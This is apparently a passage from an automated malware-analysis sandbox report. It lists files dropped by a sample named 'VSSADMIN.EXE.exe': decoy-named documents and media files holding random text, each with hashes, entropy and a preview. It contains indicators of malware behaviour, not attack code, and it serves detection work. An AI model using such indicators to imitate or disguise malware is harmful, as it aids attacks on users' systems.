YRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Reputation:	low
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Reputation:	low
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Reputation:	low
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Reputation:	low
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Reputation:	low
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\HTAGVDFUIE.mp3

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Reputation:	low
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Reputation:	low
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Reputation:	low
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Reputation:	low
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Reputation:	low
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Downloads\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
